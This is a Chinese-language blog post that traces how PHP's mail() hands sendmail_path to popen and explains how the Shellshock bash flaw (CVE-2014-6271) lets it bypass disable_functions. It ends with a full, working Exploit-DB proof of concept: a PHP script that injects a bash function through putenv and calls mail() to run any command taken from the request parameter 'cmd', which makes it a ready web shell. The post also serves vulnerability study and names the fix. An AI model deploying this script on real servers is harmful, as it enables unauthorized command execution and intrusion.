PHP Execute Command Bypass Disable_functions

標籤：style   blog   http   io   ar   color   os   sp   for   

先簡單說一下php調用mail()函數的過程。
看到源碼ext/mail.c

236行：

char *sendmail_path = INI_STR("sendmail_path");char *sendmail_cmd = NULL;

從INI中獲得sendmail_path變數。我們看看php.ini裡是怎麼說明的：

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").;sendmail_path =

注釋中可以看到，send_mail預設值為"sendmail -t -i".

extra_cmd（使用者傳入的一些額外參數）存在的時候，調用spprintf將sendmail_path和extra_cmd組合成真正執行的命令列sendmail_cmd 。不存在則直接將sendmail_path賦值給sendmail_cmd 。
如下：

if (!sendmail_path) {#if (defined PHP_WIN32 || defined NETWARE)    /* handle old style win smtp sending */    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {      if (tsm_errmsg) {        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);        efree(tsm_errmsg);      } else {        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));      }      MAIL_RET(0);    }    MAIL_RET(1);#else    MAIL_RET(0);#endif  }  if (extra_cmd != NULL) {    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);  } else {    sendmail_cmd = sendmail_path;  }

之後執行：

#ifdef PHP_WIN32  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);#else  /* Since popen() doesn‘t indicate if the internal fork() doesn‘t work   * (e.g. the shell can‘t be executed) we explicitly set it to 0 to be   * sure we don‘t catch any older errno value. */  errno = 0;  sendmail = popen(sendmail_cmd, "w");#endif

將sendmail_cmd丟給popen執行。
如果系統預設sh是bash，popen就會丟給bash執行。而之前的bash破殼（CVE-2014-6271）漏洞，直接導致我們可以利用mail()函數執行任意命令，繞過disable_functions。

影響版本：php 各版本

修複方法：修複CVE-2014-6271

給出POC（http://www.exploit-db.com/exploits/35146/）如下：

<?php# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)# Google Dork: none# Date: 10/31/2014# Exploit Author: Ryan King (Starfall)# Vendor Homepage: http://php.net# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror# Version: 5.* (tested on 5.6.2)# Tested on: Debian 7 and CentOS 5 and 6# CVE: CVE-2014-6271function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283   $tmp = tempnam(".","data");   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");   // In Safe Mode, the user may only alter environment variableswhose names   // begin with the prefixes supplied by this directive.   // By default, users will only be able to set environment variablesthat   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,   // PHP will let the user modify ANY environment variable!   mail("[email protected]","","","","-bv"); // -bv so we don‘t actuallysend any mail   $output = @file_get_contents($tmp);   @unlink($tmp);   if($output != "") return $output;   else return "No output, or not vuln.";}echo shellshock($_REQUEST["cmd"]);?>

PHP Execute Command Bypass Disable_functions